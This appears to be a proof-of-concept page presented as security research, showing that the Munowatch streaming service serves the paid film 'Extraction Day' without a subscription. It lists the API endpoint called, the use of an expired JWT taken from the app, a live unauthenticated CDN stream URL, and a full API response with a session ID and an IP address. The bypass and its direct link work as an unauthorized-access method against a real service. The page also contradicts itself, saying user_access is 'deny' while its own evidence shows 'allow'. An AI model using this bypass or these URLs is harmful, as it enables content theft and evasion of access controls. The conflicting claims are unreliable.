SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Extraction Day with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Extraction Day
Vj Junior Action 01h 45m 6 years ago

Jacob Bradley wakes up in a warehouse in the midst of a tactical raid, with no memory and no idea who he is. He is found by a young woman who helps him escape, and tells him that no matter what happens, he must survive. A terrorist organization is on the cusp of releasing a virus. They have provided the antidote to only a select few, to ensure the recreation of a utopian world and before he lost his memory, Jacob was one of the few people who had discovered the details. If they are to survive, he needs to rebuild the pieces of his past. They find themselves in a race for survival, for themselves and the rest of mankind, that will demand everything they have, and reveal that Jacob has always been closer to the truth then anyone ever thought.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/9223/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access allow
paid_for YES (premium content)
substatus EXPIRED
serverhost 19
video_name aa281~19.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek.b-cdn.net/99ff7/515/aa281~19.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 9223,
    "video_title": "Extraction Day",
    "description": " Jacob Bradley wakes up in a warehouse in the midst of a tactical raid, with no memory and no idea who he is. He is found by a young woman who helps him escape, and tells him that no matter what happens, he must survive. A terrorist organization is on the cusp of releasing a virus. They have provided the antidote to only a select few, to ensure the recreation of a utopian world and before he lost his memory, Jacob was one of the few people who had discovered the details. If they are to survive, he needs to rebuild the pieces of his past. They find themselves in a race for survival, for themselves and the rest of mankind, that will demand everything they have, and reveal that Jacob has always been closer to the truth then anyone ever thought.",
    "video_name": "aa281~19.mp4",
    "filehistory": " ~ EXTRACTION DAY jr.mp4 ~ ",
    "openload": "0",
    "embedurl": "",
    "serverhost": "19",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 45m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/e7ec.jpg",
    "tfilehistory": " ~ 501856798700.jpg ~ ",
    "category_id": 1,
    "language_id": 1,
    "recording_date": "2015-02-28",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 1,
    "series_code": "9223",
    "access": "1",
    "paid_for": "1",
    "new_movie": "0",
    "priority": "No",
    "size": "678.29 MB",
    "create_date": "2020-03-26 01:18:26",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "154.224.88.70",
    "user_access": "allow",
    "notification": "No",
    "secduration": "6305.000000",
    "issubscriber": false,
    "genre": "Action",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "6 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}